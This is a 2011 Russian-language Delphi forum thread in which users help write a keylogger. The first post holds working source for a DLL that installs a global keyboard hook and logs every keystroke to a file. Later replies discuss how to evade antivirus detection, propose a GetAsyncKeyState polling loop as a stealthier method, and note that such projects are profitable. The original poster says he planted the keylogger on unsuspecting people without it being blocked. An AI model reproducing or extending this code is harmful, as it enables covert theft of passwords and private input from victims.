Помогите в написании KeyLogger
|
xC0der
|
Дата: Среда, 31.08.2011, 09:00 | Сообщение # 1
|
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
|
Необходимо чтобы кейлоггер, записывал русские. нажатые клавиши 
В лог записываются только английские буквы 
Вот код DLL библиотеки:
Code
library hook;
Uses Windows, Messages, Sysutils;
var
myHook: HHook = 0;
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var c: char;
f: text;
key: array [0..16] of Char;
begin
if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
begin
Assign(f,'C:\log.txt'); //Сохранение нажатых клавиш в файл
if FileExists('C:\log.txt') then
Append(f) else Rewrite(f);
GetKeyNameText(lParam,key,SizeOf(key));
Writeln(f,key);
CloseFile(f);
end;
result:= CallNextHookEx(myHook,code,wParam,lparam);
end;
procedure setHook(Hook: boolean) export; stdcall;
begin
if Hook then
begin
if myHook=0 then
myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0);
end
else
begin
if myHook<>0 then
UnHookWindowsHookEx(myHook);
myHook:=0;
end;
end;
exports setHook name 'SetHook';
begin
end.
Сообщение отредактировал dolphin - Суббота, 24.09.2011, 10:23
|
|
|
|
|
gravitas
|
Дата: Среда, 31.08.2011, 10:06 | Сообщение # 2
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Ну и тут вам отвечу, так и быть...
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
xC0der
|
Дата: Среда, 31.08.2011, 13:39 | Сообщение # 3
|
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
|
Не совсем понял что такое VT ??? |
|
|
|
|
Myips
|
Дата: Среда, 31.08.2011, 14:56 | Сообщение # 4
|
Частый гость
Зарегистрирован: 13.05.2011
Группа: Пользователи
Сообщений: 26
Статус: Offline
|
_http://www.virustotal.com/ |
|
|
|
|
xC0der
|
Дата: Четверг, 01.09.2011, 08:05 | Сообщение # 5
|
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
|
Ну и в чем смысл выше сказанного? |
|
|
|
|
dolphin
|
Дата: Четверг, 01.09.2011, 10:58 | Сообщение # 6
|
Администратор
Сообщений: 904
Статус: Offline
|
xC0der, библиотеки, хуки это в прошлом (хорошо детектируется и нагружает систему), надёжнее сейчас работать через таймер, извини но хорошего примера у меня нет, это просто совет в каком направлении искать.
Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle
Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
|
|
|
|
|
gravitas
|
Дата: Четверг, 01.09.2011, 12:06 | Сообщение # 7
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Quote (dolphin)
извини но хорошего примера у меня
https://delfcode.ru/forum/10-359-2930-16-1309508023
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
XSPY
|
Дата: Четверг, 01.09.2011, 18:17 | Сообщение # 8
|
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
|
dolphin, почему в прошлом?? несогласен!))
Вон сколько проектов используют самописные либы-и очень даже прибыльные!
Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
|
|
|
|
|
dolphin
|
Дата: Четверг, 01.09.2011, 20:06 | Сообщение # 9
|
Администратор
Сообщений: 904
Статус: Offline
|
Не в прошлом конешно, но очень сильно детектируются это для меня по крайней мере один из решающих факторов, и второй немаловажный - это небольшое подтормаживание системы при использовании глобальных хуков
Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle
Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
|
|
|
|
|
vvova15
|
Дата: Пятница, 02.09.2011, 12:15 | Сообщение # 10
|
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
|
хотелось бы увидеть как можно более изящно сделать в delphi проверку кадой клавиши?
встречал и использовал раньше быдлокод типа:
Code
while(true)
begin
....
if(getasynckeystate(...))
strcat(log,caption);
if(getasynckeystate(...))
strcat(log,caption);
if(getasynckeystate(...))
strcat(log,caption);
if(getasynckeystate(...))
strcat(log,caption);
....
writefile(hf,log);
end;
в си можно описать хэштаблицу с кодами и названиями клавиш и преебирать ее в цикле со счетчиком, пропуская каждую запись через Getasynckeystate, а как реализовать на delphi?
разве что двумерный массив использовать, но там только одного типа значения можно использовать....
два массива, один строковый и другой с кодами? думаю это будет небезопасно, т.к. может случиться выход за пределы массива если по какойто причине в одном массиве окажется больше элеменов чем в другом...
ICQ 185-398
Сообщение отредактировал vvova15 - Пятница, 02.09.2011, 12:16
|
|
|
|
|
xC0der
|
Дата: Пятница, 02.09.2011, 16:58 | Сообщение # 11
|
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
|
А как можно обрабатывать клавиши по таймеру? И не будет ли сбоя? И также с записью в log.txt... |
|
|
|
|
gravitas
|
Дата: Пятница, 02.09.2011, 17:26 | Сообщение # 12
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Quote (xC0der)
А как можно обрабатывать клавиши по таймеру? И не будет ли сбоя? И также с записью в log.txt...
А среду разработки за вас не открыть?
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
XSPY
|
Дата: Пятница, 02.09.2011, 20:14 | Сообщение # 13
|
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
|
gravitas, 
dolphin, разве система от глобальных подтормаживает?? не слыхал ранее(если не считать касперыча с его перехватами ).
А насчет длл соглашусь-ее много детектируют,причем даже если структура правильная-насколько помню,там ловят функи часто встречающиеся в малвари...
Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
|
|
|
|
|
xC0der
|
Дата: Суббота, 03.09.2011, 08:28 | Сообщение # 14
|
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
|
Ламерам подкидывал исходник кейлоггера с DLL лог нормально шел... Да и проактивкой не блочили |
|
|
|
|
dolphin
|
Дата: Вторник, 01.11.2011, 12:42 | Сообщение # 15
|
Администратор
Сообщений: 904
Статус: Offline
|
Для вас как раз тема https://delfcode.ru/forum/30-573-1
Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle
Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
|
|
|
|
|